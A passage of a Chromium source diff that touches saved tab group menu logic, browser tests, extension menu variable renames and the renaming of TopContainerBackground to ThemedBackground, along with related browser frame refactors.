-        browser_with_local_group_id->tab_strip_model();
+    if (browser_with_local_group_id) {
+      const TabStripModel* const tab_strip_model =
+          browser_with_local_group_id->tab_strip_model();
 
-    // Show the menu item if there are tabs outside of the saved group.
-    should_enable_move_menu_item_ =
-        tab_strip_model->count() !=
-        tab_strip_model->group_model()
-            ->GetTabGroup(saved_group.local_group_id().value())
-            ->tab_count();
+      // Show the menu item if there are tabs outside of the saved group.
+      should_enable_move_menu_item_ =
+          tab_strip_model->count() !=
+          tab_strip_model->group_model()
+              ->GetTabGroup(saved_group.local_group_id().value())
+              ->tab_count();
+    }
   }
 }
 
@@ -229,6 +235,9 @@
   if (it->second.type == TabGroupMenuAction::Type::OPEN_OR_MOVE_TO_NEW_WINDOW) {
     return should_enable_move_menu_item_;
   }
+  if (it->second.type == TabGroupMenuAction::Type::OPEN_IN_BROWSER) {
+    return should_enable_open_menu_item_;
+  }
   return true;
 }
 
diff --git a/chrome/browser/ui/views/bookmarks/saved_tab_groups/saved_tab_group_tabs_menu_model.h b/chrome/browser/ui/views/bookmarks/saved_tab_groups/saved_tab_group_tabs_menu_model.h
index a9602ca2..a886d1b 100644
--- a/chrome/browser/ui/views/bookmarks/saved_tab_groups/saved_tab_group_tabs_menu_model.h
+++ b/chrome/browser/ui/views/bookmarks/saved_tab_groups/saved_tab_group_tabs_menu_model.h
@@ -71,6 +71,7 @@
   raw_ptr<Browser> browser_;
   base::CancelableTaskTracker cancelable_task_tracker_;
   bool should_enable_move_menu_item_;
+  bool should_enable_open_menu_item_;
   std::optional<base::Uuid> sync_id_ = std::nullopt;
   TabGroupMenuContext context_;
 
diff --git a/chrome/browser/ui/views/bookmarks/saved_tab_groups/saved_tab_group_tabs_menu_model_browsertest.cc b/chrome/browser/ui/views/bookmarks/saved_tab_groups/saved_tab_group_tabs_menu_model_browsertest.cc
new file mode 100644
index 0000000..b1f49a9
--- /dev/null
+++ b/chrome/browser/ui/views/bookmarks/saved_tab_groups/saved_tab_group_tabs_menu_model_browsertest.cc
@@ -0,0 +1,95 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "chrome/browser/ui/views/bookmarks/saved_tab_groups/saved_tab_group_tabs_menu_model.h"
+
+#include <memory>
+#include <optional>
+#include <string>
+
+#include "base/functional/bind.h"
+#include "base/test/scoped_feature_list.h"
+#include "chrome/browser/tab_group_sync/tab_group_sync_service_factory.h"
+#include "chrome/browser/ui/browser.h"
+#include "chrome/browser/ui/tabs/tab_group_model.h"
+#include "chrome/grit/generated_resources.h"  // For IDS_OPEN_GROUP_IN_BROWSER_MENU
+#include "chrome/test/base/in_process_browser_test.h"
+#include "components/saved_tab_groups/public/features.h"
+#include "components/saved_tab_groups/public/saved_tab_group.h"
+#include "components/saved_tab_groups/public/tab_group_sync_service.h"
+#include "content/public/test/browser_test.h"
+#include "testing/gtest/include/gtest/gtest.h"
+#include "ui/base/l10n/l10n_util.h"  // For GetStringUTF16
+
+namespace tab_groups {
+
+class SavedTabGroupTabsMenuModelBrowserTest : public InProcessBrowserTest {
+ public:
+  SavedTabGroupTabsMenuModelBrowserTest() = default;
+
+  int GetNextCommandId() { return next_command_id_++; }
+
+  bool IsOpenGroupItemEnabled(STGTabsMenuModel* model) {
+    std::u16string target_label =
+        l10n_util::GetStringUTF16(IDS_OPEN_GROUP_IN_BROWSER_MENU);
+
+    size_t item_count = model->GetItemCount();
+    for (size_t i = 0; i < item_count; ++i) {
+      if (model->GetLabelAt(i) == target_label) {
+        return model->IsEnabledAt(i);
+      }
+    }
+    return false;
+  }
+
+ protected:
+  TabGroupSyncService* GetSyncService() {
+    return TabGroupSyncServiceFactory::GetForProfile(browser()->profile());
+  }
+
+ private:
+  base::test::ScopedFeatureList feature_list_;
+  int next_command_id_ = 1;
+};
+
+// TEST 1: Verify "Open group" is ENABLED when the group is closed.
+IN_PROC_BROWSER_TEST_F(SavedTabGroupTabsMenuModelBrowserTest,
+                       OpenGroupEnabledWhenClosed) {
+  SavedTabGroup group(u"Test Group", tab_groups::TabGroupColorId::kGrey, {},
+                      std::nullopt);
+  GetSyncService()->AddGroup(group);
+
+  STGTabsMenuModel model(
+      browser(), TabGroupMenuContext::SAVED_TAB_GROUP_BUTTON_CONTEXT_MENU);
+  model.Build(group,
+              base::BindRepeating(
+                  &SavedTabGroupTabsMenuModelBrowserTest::GetNextCommandId,
+                  base::Unretained(this)));
+
+  EXPECT_TRUE(IsOpenGroupItemEnabled(&model));
+}
+
+// TEST 2: Verify "Open group" is DISABLED when the group is open and expanded.
+IN_PROC_BROWSER_TEST_F(SavedTabGroupTabsMenuModelBrowserTest,
+                       OpenGroupDisabledWhenOpenAndExpanded) {
+  ASSERT_TRUE(AddTabAtIndex(0, GURL("about:blank"), ui::PAGE_TRANSITION_LINK));
+  TabGroupId local_id = browser()->tab_strip_model()->AddToNewGroup({0});
+
+  browser()->tab_strip_model()->ActivateTabAt(0);
+  SavedTabGroup group(u"Test Group", tab_groups::TabGroupColorId::kGrey, {},
+                      std::nullopt);
+  group.SetLocalGroupId(local_id);
+  GetSyncService()->AddGroup(group);
+
+  STGTabsMenuModel model(
+      browser(), TabGroupMenuContext::SAVED_TAB_GROUP_BUTTON_CONTEXT_MENU);
+  model.Build(group,
+              base::BindRepeating(
+                  &SavedTabGroupTabsMenuModelBrowserTest::GetNextCommandId,
+                  base::Unretained(this)));
+
+  EXPECT_FALSE(IsOpenGroupItemEnabled(&model));
+}
+
+}  // namespace tab_groups
diff --git a/chrome/browser/ui/views/commerce/discounts_icon_view_browsertest.cc b/chrome/browser/ui/views/commerce/discounts_icon_view_browsertest.cc
index 21c6887..ff4cc7a 100644
--- a/chrome/browser/ui/views/commerce/discounts_icon_view_browsertest.cc
+++ b/chrome/browser/ui/views/commerce/discounts_icon_view_browsertest.cc
@@ -104,7 +104,7 @@
   void WaitForUserDismissal() override {
     // Consider closing the browser to be dismissal. This is useful when using
     // the test-launcher-interactive option.
-    ui_test_utils::WaitForBrowserToClose();
+    ui_test_utils::BrowserDestroyedObserver().Wait();
   }
 
  protected:
diff --git a/chrome/browser/ui/views/commerce/price_insights_icon_view_browsertest.cc b/chrome/browser/ui/views/commerce/price_insights_icon_view_browsertest.cc
index 44f2f7bb..33686b1 100644
--- a/chrome/browser/ui/views/commerce/price_insights_icon_view_browsertest.cc
+++ b/chrome/browser/ui/views/commerce/price_insights_icon_view_browsertest.cc
@@ -101,7 +101,7 @@
 
   void WaitForUserDismissal() override {
     // Consider closing the browser to be dismissal.
-    ui_test_utils::WaitForBrowserToClose();
+    ui_test_utils::BrowserDestroyedObserver().Wait();
   }
 
  protected:
diff --git a/chrome/browser/ui/views/commerce/price_tracking_icon_view_browsertest.cc b/chrome/browser/ui/views/commerce/price_tracking_icon_view_browsertest.cc
index 7224995..b231717 100644
--- a/chrome/browser/ui/views/commerce/price_tracking_icon_view_browsertest.cc
+++ b/chrome/browser/ui/views/commerce/price_tracking_icon_view_browsertest.cc
@@ -57,7 +57,7 @@
 
   void WaitForUserDismissal() override {
     // Consider closing the browser to be dismissal.
-    ui_test_utils::WaitForBrowserToClose();
+    ui_test_utils::BrowserDestroyedObserver().Wait();
   }
 
  protected:
diff --git a/chrome/browser/ui/views/extensions/extensions_menu_delegate_desktop.cc b/chrome/browser/ui/views/extensions/extensions_menu_delegate_desktop.cc
index b3a5482..b9a8d96 100644
--- a/chrome/browser/ui/views/extensions/extensions_menu_delegate_desktop.cc
+++ b/chrome/browser/ui/views/extensions/extensions_menu_delegate_desktop.cc
@@ -464,9 +464,9 @@
   std::vector<ExtensionsMenuEntryView*> menu_entries =
       main_page->GetMenuEntries();
   for (auto* menu_entry : menu_entries) {
-    ExtensionsMenuViewModel::MenuEntryState menu_item_state =
+    ExtensionsMenuViewModel::MenuEntryState entry_state =
         menu_model_->GetMenuEntryState(menu_entry->extension_id());
-    menu_entry->Update(menu_item_state);
+    menu_entry->Update(entry_state);
   }
 }
 
@@ -516,7 +516,7 @@
     ExtensionsMenuMainPageView* main_page,
     ExtensionActionViewModel* action_model,
     int index) {
-  ExtensionsMenuViewModel::MenuEntryState menu_item =
+  ExtensionsMenuViewModel::MenuEntryState entry_state =
       menu_model_->GetMenuEntryState(action_model->GetId());
-  main_page->CreateAndInsertMenuEntry(action_model, menu_item, index);
+  main_page->CreateAndInsertMenuEntry(action_model, entry_state, index);
 }
diff --git a/chrome/browser/ui/views/extensions/extensions_menu_entry_unittest.cc b/chrome/browser/ui/views/extensions/extensions_menu_entry_unittest.cc
index 1dddfd2..238ed376 100644
--- a/chrome/browser/ui/views/extensions/extensions_menu_entry_unittest.cc
+++ b/chrome/browser/ui/views/extensions/extensions_menu_entry_unittest.cc
@@ -74,15 +74,15 @@
 
   action_model_holder_ = std::move(model);
 
-  std::unique_ptr<ExtensionsMenuEntryView> menu_item =
+  std::unique_ptr<ExtensionsMenuEntryView> menu_entry =
       std::make_unique<ExtensionsMenuEntryView>(
           browser(), /*is_enterprise=*/false, action_model_holder_.get(),
           /*site_access_toggle_callback*/ base::DoNothing(),
           /*site_permissions_button_callback=*/base::RepeatingClosure());
-  primary_button_ = menu_item->primary_action_button_for_testing();
-  context_menu_button_ = menu_item->context_menu_button_for_testing();
+  primary_button_ = menu_entry->primary_action_button_for_testing();
+  context_menu_button_ = menu_entry->context_menu_button_for_testing();
 
-  widget_->SetContentsView(std::move(menu_item));
+  widget_->SetContentsView(std::move(menu_entry));
 }
 
 void ExtensionsMenuEntryViewTest::TearDown() {
diff --git a/chrome/browser/ui/views/extensions/extensions_menu_entry_view.cc b/chrome/browser/ui/views/extensions/extensions_menu_entry_view.cc
index 08d0d5ec..86ac041 100644
--- a/chrome/browser/ui/views/extensions/extensions_menu_entry_view.cc
+++ b/chrome/browser/ui/views/extensions/extensions_menu_entry_view.cc
@@ -154,7 +154,7 @@
                           views::kMarginsKey,
                           gfx::Insets::TLBR(0, horizontal_spacing, 0, 0))
                       // Override the hover button border since we are
-                      // adding vertical spacing in between menu items.
+                      // adding vertical spacing in between menu entries.
                       // Instead, set the border to be the padding around the
                       // icon when hovering.
                       .SetBorder(views::CreateEmptyBorder(icon_padding))
@@ -198,32 +198,31 @@
 ExtensionsMenuEntryView::~ExtensionsMenuEntryView() = default;
 
 void ExtensionsMenuEntryView::Update(
-    ExtensionsMenuViewModel::MenuEntryState menu_item_state) {
+    ExtensionsMenuViewModel::MenuEntryState entry_state) {
   site_access_toggle_->SetVisible(
-      menu_item_state.site_access_toggle.status !=
+      entry_state.site_access_toggle.status !=
       ExtensionsMenuViewModel::ControlState::Status::kHidden);
-  site_access_toggle_->SetIsOn(menu_item_state.site_access_toggle.is_on);
+  site_access_toggle_->SetIsOn(entry_state.site_access_toggle.is_on);
   site_access_toggle_->SetTooltipText(
-      menu_item_state.site_access_toggle.tooltip_text);
+      entry_state.site_access_toggle.tooltip_text);
 
   site_permissions_button_->SetVisible(
-      menu_item_state.site_permissions_button.status !=
+      entry_state.site_permissions_button.status !=
       ExtensionsMenuViewModel::ControlState::Status::kHidden);
   site_permissions_button_->SetEnabled(
-      menu_item_state.site_permissions_button.status ==
+      entry_state.site_permissions_button.status ==
       ExtensionsMenuViewModel::ControlState::Status::kEnabled);
-  site_permissions_button_->SetText(
-      menu_item_state.site_permissions_button.text);
+  site_permissions_button_->SetText(entry_state.site_permissions_button.text);
   site_permissions_button_->SetTooltipText(
-      menu_item_state.site_permissions_button.tooltip_text);
+      entry_state.site_permissions_button.tooltip_text);
   site_permissions_button_->GetViewAccessibility().SetName(
-      menu_item_state.site_permissions_button.accessible_name);
+      entry_state.site_permissions_button.accessible_name);
 
   // Update button size after changing its contents so it fits in the menu
-  // item row.
+  // entry row.
   site_permissions_button_->PreferredSizeChanged();
 
-  UpdateContextMenuButton(menu_item_state.context_menu_button);
+  UpdateContextMenuButton(entry_state.context_menu_button);
 }
 
 void ExtensionsMenuEntryView::UpdateContextMenuButton(
diff --git a/chrome/browser/ui/views/extensions/extensions_menu_entry_view.h b/chrome/browser/ui/views/extensions/extensions_menu_entry_view.h
index 6b2a40dc..dfa655e 100644
--- a/chrome/browser/ui/views/extensions/extensions_menu_entry_view.h
+++ b/chrome/browser/ui/views/extensions/extensions_menu_entry_view.h
@@ -41,8 +41,8 @@
   ExtensionsMenuEntryView& operator=(const ExtensionsMenuEntryView&) = delete;
   ~ExtensionsMenuEntryView() override;
 
-  // Updates the view with the `menu_item_state`.
-  void Update(ExtensionsMenuViewModel::MenuEntryState menu_item_state);
+  // Updates the view according to `entry_state`.
+  void Update(ExtensionsMenuViewModel::MenuEntryState entry_state);
 
   // Updates the context menu button given `is_action_pinned`.
   void UpdateContextMenuButton(
diff --git a/chrome/browser/ui/views/eye_dropper/eye_dropper_browsertest.cc b/chrome/browser/ui/views/eye_dropper/eye_dropper_browsertest.cc
index 9e2ba60..111e1cec 100644
--- a/chrome/browser/ui/views/eye_dropper/eye_dropper_browsertest.cc
+++ b/chrome/browser/ui/views/eye_dropper/eye_dropper_browsertest.cc
@@ -67,7 +67,7 @@
 
   void WaitForUserDismissal() override {
     // Consider closing the browser to be dismissal.
-    ui_test_utils::WaitForBrowserToClose();
+    ui_test_utils::BrowserDestroyedObserver().Wait();
   }
 
   void DismissUi() override { eye_dropper_.reset(); }
diff --git a/chrome/browser/ui/views/find_bar_views_interactive_uitest.cc b/chrome/browser/ui/views/find_bar_views_interactive_uitest.cc
index 162fcf8b..7aed29a 100644
--- a/chrome/browser/ui/views/find_bar_views_interactive_uitest.cc
+++ b/chrome/browser/ui/views/find_bar_views_interactive_uitest.cc
@@ -31,6 +31,7 @@
 #include "chrome/test/interaction/interactive_browser_test.h"
 #include "components/bookmarks/browser/bookmark_model.h"
 #include "components/bookmarks/test/bookmark_test_helpers.h"
+#include "components/enterprise/data_controls/content/browser/last_replaced_clipboard_data.h"
 #include "components/enterprise/data_controls/core/browser/test_utils.h"
 #include "components/find_in_page/find_notification_details.h"
 #include "components/find_in_page/find_tab_helper.h"
@@ -85,6 +86,8 @@
                                     kTextCopiedState);
 DEFINE_LOCAL_STATE_IDENTIFIER_VALUE(ui::test::PollingStateObserver<bool>,
                                     kTextSelectedState);
+DEFINE_LOCAL_STATE_IDENTIFIER_VALUE(ui::test::PollingStateObserver<bool>,
+                                    kReplacedDataUpdatedState);
 const ui::Accelerator ctrl_c_accelerator(ui::VKEY_C, ui::EF_CONTROL_DOWN);
 const ui::Accelerator ctrl_v_accelerator(ui::VKEY_V, ui::EF_CONTROL_DOWN);
 }  // namespace
@@ -1273,13 +1276,7 @@
       WaitForShow(kBookmarkNameFieldId));
 }
 
-// TODO(crbug.com/481356529): Re-enable on Windows once the bug is fixed.
-#if BUILDFLAG(IS_WIN)
-#define MAYBE_CopyBlockedByPolicy DISABLED_CopyBlockedByPolicy
-#else
-#define MAYBE_CopyBlockedByPolicy CopyBlockedByPolicy
-#endif
-IN_PROC_BROWSER_TEST_P(FindBarViewsUiTest, MAYBE_CopyBlockedByPolicy) {
+IN_PROC_BROWSER_TEST_P(FindBarViewsUiTest, CopyBlockedByPolicy) {
   const bool clipboard_restricted_by_policy = GetParam();
   if (clipboard_restricted_by_policy) {
     data_controls::SetDataControls(browser()->profile()->GetPrefs(), {R"({
@@ -1322,7 +1319,18 @@
             return base::EqualsASCII(clipboard_text, kExpectedText);
           }),
       WaitForState(kTextCopiedState, true),
-
+      // When copying to the clipboard is restricted, we have to wait for the
+      // internal data tracking to identify the sequence number that will need
+      // to be replaced before pasting.
+      PollState(
+          kReplacedDataUpdatedState,
+          [&]() {
+            return !clipboard_restricted_by_policy ||
+                   ui::Clipboard::GetForCurrentThread()->GetSequenceNumber(
+                       ui::ClipboardBuffer::kCopyPaste) ==
+                       data_controls::GetLastReplacedClipboardData().seqno;
+          }),
+      WaitForState(kReplacedDataUpdatedState, true),
       // Regardless of whether the copied data made it to the clipboard, pasting
       // it back into the FindBar will result in getting the original text back
       // as the current policy doesn't block it.
diff --git a/chrome/browser/ui/views/frame/browser_frame_ash_browsertest.cc b/chrome/browser/ui/views/frame/browser_frame_ash_browsertest.cc
index 45d565b7..fde3e31 100644
--- a/chrome/browser/ui/views/frame/browser_frame_ash_browsertest.cc
+++ b/chrome/browser/ui/views/frame/browser_frame_ash_browsertest.cc
@@ -100,8 +100,9 @@
   ash::WindowState::Get(window)->OnWMEvent(&left_snap_event);
   const gfx::Size snapped_size = window->GetBoundsInScreen().size();
 
+  ui_test_utils::BrowserDestroyedObserver observer(browser);
   browser->window()->Close();
-  ui_test_utils::WaitForBrowserToClose(browser);
+  observer.Wait();
 
   // Recreate the browser window. Test that the bounds are the same as the
   // snapped size (position has been shifted by the ash auto window positioner).
diff --git a/chrome/browser/ui/views/frame/browser_frame_view_mac.mm b/chrome/browser/ui/views/frame/browser_frame_view_mac.mm
index beb56b7..380a3c5 100644
--- a/chrome/browser/ui/views/frame/browser_frame_view_mac.mm
+++ b/chrome/browser/ui/views/frame/browser_frame_view_mac.mm
@@ -452,7 +452,7 @@
 void BrowserFrameViewMac::PaintThemedFrame(gfx::Canvas* canvas) {
   // On macOS the origin of the BrowserFrameViewMac is (0,0) so no
   // further modification is necessary. See
-  // TopContainerBackground::PaintThemeCustomImage for details.
+  // ThemedBackground::PaintThemeCustomImage for details.
   gfx::Point theme_image_offset =
       GetBrowserView()->GetThemeOffsetFromBrowserView();
 
diff --git a/chrome/browser/ui/views/frame/browser_view.cc b/chrome/browser/ui/views/frame/browser_view.cc
index 0ed6bff4..856b211d 100644
--- a/chrome/browser/ui/views/frame/browser_view.cc
+++ b/chrome/browser/ui/views/frame/browser_view.cc
@@ -1542,9 +1542,12 @@
 // BrowserView, BrowserWindow implementation:
 
 void BrowserView::Show() {
-  if (InitialWebUIManager::From(browser()) &&
-      InitialWebUIManager::From(browser())->ShouldDeferShow()) {
-    return;
+  if (auto* manager = InitialWebUIManager::From(browser())) {
+    if (manager->ShouldDeferShow()) {
+      manager->SetWebUIReadyCallback(base::BindOnce(
+          &BrowserView::OnInitialWebUIReady, weak_ptr_factory_.GetWeakPtr()));
+      return;
+    }
   }
 
 #if !BUILDFLAG(IS_WIN) && !BUILDFLAG(IS_CHROMEOS)
@@ -6232,6 +6235,10 @@
   }
 }
 
+void BrowserView::OnInitialWebUIReady() {
+  Show();
+}
+
 #if BUILDFLAG(ENTERPRISE_SCREENSHOT_PROTECTION)
 void BrowserView::ApplyScreenshotSettings(bool allow) {
 #if BUILDFLAG(IS_WIN)
diff --git a/chrome/browser/ui/views/frame/browser_view.h b/chrome/browser/ui/views/frame/browser_view.h
index 9fec0d1d..d724281 100644
--- a/chrome/browser/ui/views/frame/browser_view.h
+++ b/chrome/browser/ui/views/frame/browser_view.h
@@ -846,7 +846,7 @@
   // This value is used in a common calculation in FrameView
   // subclasses. This must be added to the origin of the first painted pixel of
   // FrameView to get the correct offset. See
-  // TopContainerBackground::PaintThemeCustomImage for details.
+  // ThemedBackground::PaintThemeCustomImage for details.
   gfx::Point GetThemeOffsetFromBrowserView() const;
 
   void UpdateAccessibleNameForAllTabs();
@@ -1149,6 +1149,9 @@
   // `frame_timing_details` contains the paint timing information of the frame.
   void OnFirstPresentation(const viz::FrameTimingDetails& frame_timing_details);
 
+  // Called when the initial WebUI components are ready.
+  void OnInitialWebUIReady();
+
   // TODO(crbug.com/461955649): Move ExclusiveAccessContextImpl out of
   // BrowserView and make it shared so BrowserWindowFeatures can own it
   // directly.
diff --git a/chrome/browser/ui/views/frame/browser_view_browsertest.cc b/chrome/browser/ui/views/frame/browser_view_browsertest.cc
index fc7f082..6dd16b3 100644
--- a/chrome/browser/ui/views/frame/browser_view_browsertest.cc
+++ b/chrome/browser/ui/views/frame/browser_view_browsertest.cc
@@ -301,7 +301,7 @@
 #if BUILDFLAG(IS_OZONE)
   // Ozone/wayland doesn't support getting/setting window position in global
   // screen coordinates. So this test is not applicable.
-  if (ui::OzonePlatform::GetPlatformNameForTest() == "wayland") {
+  if (ui::OzonePlatform::RunningOnWaylandForTest()) {
     GTEST_SKIP();
   }
 #endif
@@ -345,7 +345,7 @@
 #if BUILDFLAG(IS_OZONE)
   // Ozone/wayland doesn't support getting/setting window position in global
   // screen coordinates. So this test is not applicable.
-  if (ui::OzonePlatform::GetPlatformNameForTest() == "wayland") {
+  if (ui::OzonePlatform::RunningOnWaylandForTest()) {
     GTEST_SKIP();
   }
 #endif
@@ -414,7 +414,7 @@
 #if BUILDFLAG(IS_OZONE)
   // Ozone/wayland doesn't support getting/setting window position in global
   // screen coordinates. So this test is not applicable.
-  if (ui::OzonePlatform::GetPlatformNameForTest() == "wayland") {
+  if (ui::OzonePlatform::RunningOnWaylandForTest()) {
     GTEST_SKIP();
   }
 #endif
@@ -429,7 +429,7 @@
 #if BUILDFLAG(IS_OZONE)
   // Ozone/wayland doesn't support getting/setting window position in global
   // screen coordinates. So this test is not applicable.
-  if (ui::OzonePlatform::GetPlatformNameForTest() == "wayland") {
+  if (ui::OzonePlatform::RunningOnWaylandForTest()) {
     GTEST_SKIP();
   }
 #endif
@@ -447,7 +447,7 @@
 #if BUILDFLAG(IS_OZONE)
   // Ozone/wayland doesn't support getting/setting window position in global
   // screen coordinates. So this test is not applicable.
-  if (ui::OzonePlatform::GetPlatformNameForTest() == "wayland") {
+  if (ui::OzonePlatform::RunningOnWaylandForTest()) {
     GTEST_SKIP();
   }
 #endif
@@ -1226,7 +1226,7 @@
   }
 
   void WaitForUserDismissal() override {
-    ui_test_utils::WaitForBrowserToClose();
+    ui_test_utils::BrowserDestroyedObserver().Wait();
   }
 };
 
diff --git a/chrome/browser/ui/views/frame/contents_rounded_corner.cc b/chrome/browser/ui/views/frame/contents_rounded_corner.cc
index 597e590..4a1bd09 100644
--- a/chrome/browser/ui/views/frame/contents_rounded_corner.cc
+++ b/chrome/browser/ui/views/frame/contents_rounded_corner.cc
@@ -8,7 +8,7 @@
 
 #include "base/functional/callback.h"
 #include "chrome/browser/ui/views/frame/browser_view.h"
-#include "chrome/browser/ui/views/frame/top_container_background.h"
+#include "chrome/browser/ui/views/frame/themed_background.h"
 #include "chrome/browser/ui/views/side_panel/side_panel.h"
 #include "third_party/skia/include/core/SkPath.h"
 #include "third_party/skia/include/core/SkPathBuilder.h"
@@ -24,7 +24,7 @@
     base::RepeatingCallback<bool()> is_right_aligned_callback)
     : corner_radius_token_(corner_radius_token),
       is_right_aligned_callback_(std::move(is_right_aligned_callback)) {
-  SetBackground(std::make_unique<TopContainerBackground>(browser_view));
+  SetBackground(std::make_unique<ThemedBackground>(browser_view));
   SetPaintToLayer();
 }
 
diff --git a/chrome/browser/ui/views/frame/custom_corners.cc b/chrome/browser/ui/views/frame/custom_corners.cc
index dff398e..ba0c260c 100644
--- a/chrome/browser/ui/views/frame/custom_corners.cc
+++ b/chrome/browser/ui/views/frame/custom_corners.cc
@@ -6,7 +6,7 @@
 
 #include "base/check_op.h"
 #include "chrome/browser/ui/views/frame/browser_view.h"
-#include "chrome/browser/ui/views/frame/top_container_background.h"
+#include "chrome/browser/ui/views/frame/themed_background.h"
 #include "ui/gfx/scoped_canvas.h"
 
 CustomCorners::CustomCorners(BrowserView& browser_view)
@@ -41,8 +41,7 @@
   if (std::holds_alternative<TopContainerTheme>(color_choice)) {
     gfx::ScopedCanvas scoped(canvas);
     canvas->ClipPath(path, anti_alias);
-    TopContainerBackground::PaintBackground(canvas, &GetView(),
-                                            &browser_view());
+    ThemedBackground::PaintBackground(canvas, &GetView(), &browser_view());
     return;
   }
 
diff --git a/chrome/browser/ui/views/frame/custom_corners_background.cc b/chrome/browser/ui/views/frame/custom_corners_background.cc
index f24ed23..eeeb2f3 100644
--- a/chrome/browser/ui/views/frame/custom_corners_background.cc
+++ b/chrome/browser/ui/views/frame/custom_corners_background.cc
@@ -11,7 +11,7 @@
 #include "chrome/browser/ui/views/frame/browser_frame_view.h"
 #include "chrome/browser/ui/views/frame/browser_view.h"
 #include "chrome/browser/ui/views/frame/browser_widget.h"
-#include "chrome/browser/ui/views/frame/top_container_background.h"
+#include "chrome/browser/ui/views/frame/themed_background.h"
 #include "third_party/skia/include/core/SkPathBuilder.h"
 #include "ui/color/color_id.h"
 #include "ui/color/color_variant.h"
diff --git a/chrome/browser/ui/views/frame/horizontal_tab_strip_region_view.cc b/chrome/browser/ui/views/frame/horizontal_tab_strip_region_view.cc
index bea125f..5b3895f 100644
--- a/chrome/browser/ui/views/frame/horizontal_tab_strip_region_view.cc
+++ b/chrome/browser/ui/views/frame/horizontal_tab_strip_region_view.cc
@@ -31,6 +31,7 @@
 #include "chrome/browser/ui/views/tabs/browser_tab_strip_controller.h"
 #include "chrome/browser/ui/views/tabs/dragging/tab_drag_controller.h"
 #include "chrome/browser/ui/views/tabs/new_tab_button.h"
+#include "chrome/browser/ui/views/tabs/tab_hover_card_controller.h"
 #include "chrome/browser/ui/views/tabs/tab_search_button.h"
 #include "chrome/browser/ui/views/tabs/tab_search_container.h"
 #include "chrome/browser/ui/views/tabs/tab_strip.h"
@@ -120,7 +121,9 @@
   }
 }
 
-std::unique_ptr<TabStrip> CreateTabStrip(BrowserView* browser_view) {
+std::unique_ptr<TabStrip> CreateTabStrip(
+    TabStripRegionView* tab_strip_region_view,
+    BrowserView* browser_view) {
   std::unique_ptr<TabMenuModelFactory> tab_menu_model_factory;
   if (browser_view && browser_view->browser()->app_controller()) {
     tab_menu_model_factory =
@@ -130,7 +133,12 @@
   auto tabstrip_controller = std::make_unique<BrowserTabStripController>(
       browser_view->browser()->GetTabStripModel(), browser_view,
       std::move(tab_menu_model_factory));
-  auto tab_strip = std::make_unique<TabStrip>(std::move(tabstrip_controller));
+
+  std::unique_ptr<TabHoverCardController> hover_card_controller(
+      std::make_unique<TabHoverCardController>(tab_strip_region_view,
+                                               browser_view->browser()));
+  auto tab_strip = std::make_unique<TabStrip>(std::move(tabstrip_controller),
+                                              std::move(hover_card_controller));
   return tab_strip;
 }
 
@@ -212,7 +220,7 @@
   GetViewAccessibility().SetRole(ax::mojom::Role::kTabList);
   GetViewAccessibility().SetIsMultiselectable(true);
 
-  tab_strip_ = AddChildView(CreateTabStrip(browser_view));
+  tab_strip_ = AddChildView(CreateTabStrip(this, browser_view));
   BrowserWindowInterface* const browser = browser_view->browser();
 
   if (base::FeatureList::IsEnabled(features::kTabGroupsFocusing)) {
diff --git a/chrome/browser/ui/views/frame/multi_contents_background_view.cc b/chrome/browser/ui/views/frame/multi_contents_background_view.cc
index 3d45717..0b5033e6 100644
--- a/chrome/browser/ui/views/frame/multi_contents_background_view.cc
+++ b/chrome/browser/ui/views/frame/multi_contents_background_view.cc
@@ -4,7 +4,7 @@
 
 #include "chrome/browser/ui/views/frame/multi_contents_background_view.h"
 
-#include "chrome/browser/ui/views/frame/top_container_background.h"
+#include "chrome/browser/ui/views/frame/themed_background.h"
 #include "ui/base/metadata/metadata_impl_macros.h"
 #include "ui/compositor/layer.h"
 #include "ui/gfx/geometry/rounded_corners_f.h"
@@ -43,20 +43,18 @@
 
 void MultiContentsBackgroundView::OnPaint(gfx::Canvas* canvas) {
   CHECK_EQ(layer()->type(), ui::LAYER_TEXTURED);
-  TopContainerBackground::PaintBackground(canvas, this, browser_view_);
+  ThemedBackground::PaintBackground(canvas, this, browser_view_);
 }
 
 ui::LayerType MultiContentsBackgroundView::CalculateLayerType() const {
   const bool has_custom_image =
-      !TopContainerBackground::GetBackgroundColor(this, browser_view_)
-           .has_value();
+      !ThemedBackground::GetBackgroundColor(this, browser_view_).has_value();
   return has_custom_image ? ui::LAYER_TEXTURED : ui::LAYER_SOLID_COLOR;
 }
 
 void MultiContentsBackgroundView::UpdateSolidLayerColor() {
   CHECK_EQ(layer()->type(), ui::LAYER_SOLID_COLOR);
-  if (auto color =
-          TopContainerBackground::GetBackgroundColor(this, browser_view_)) {
+  if (auto color = ThemedBackground::GetBackgroundColor(this, browser_view_)) {
     layer()->SetColor(*color);
   }
 }
diff --git a/chrome/browser/ui/views/frame/multi_contents_view.cc b/chrome/browser/ui/views/frame/multi_contents_view.cc
index 8a12151..76936a4e 100644
--- a/chrome/browser/ui/views/frame/multi_contents_view.cc
+++ b/chrome/browser/ui/views/frame/multi_contents_view.cc
@@ -31,7 +31,7 @@
 #include "chrome/browser/ui/views/frame/multi_contents_view_drop_target_controller.h"
 #include "chrome/browser/ui/views/frame/multi_contents_view_mini_toolbar.h"
 #include "chrome/browser/ui/views/frame/scrim_view.h"
-#include "chrome/browser/ui/views/frame/top_container_background.h"
+#include "chrome/browser/ui/views/frame/themed_background.h"
 #include "chrome/browser/ui/views/new_tab_footer/footer_web_view.h"
 #include "chrome/browser/ui/views/toolbar/toolbar_view.h"
 #include "chrome/common/pref_names.h"
diff --git a/chrome/browser/ui/views/frame/multi_contents_view_browsertest.cc b/chrome/browser/ui/views/frame/multi_contents_view_browsertest.cc
index 4573519..d6784a27 100644
--- a/chrome/browser/ui/views/frame/multi_contents_view_browsertest.cc
+++ b/chrome/browser/ui/views/frame/multi_contents_view_browsertest.cc
@@ -520,7 +520,7 @@
     DISABLED_EnterAndExitFullscreenInSplitTabShouldResizeThreeTimes) {
 #if BUILDFLAG(IS_OZONE)
   // TODO(crbug.com/429495554): Investigate why this test failed on wayland.
-  if (ui::OzonePlatform::GetPlatformNameForTest() == "wayland") {
+  if (ui::OzonePlatform::RunningOnWaylandForTest()) {
     GTEST_SKIP();
   }
 #endif
diff --git a/chrome/browser/ui/views/frame/multi_contents_view_drop_target_controller.cc b/chrome/browser/ui/views/frame/multi_contents_view_drop_target_controller.cc
index 7ea3c35a..06f86dc 100644
--- a/chrome/browser/ui/views/frame/multi_contents_view_drop_target_controller.cc
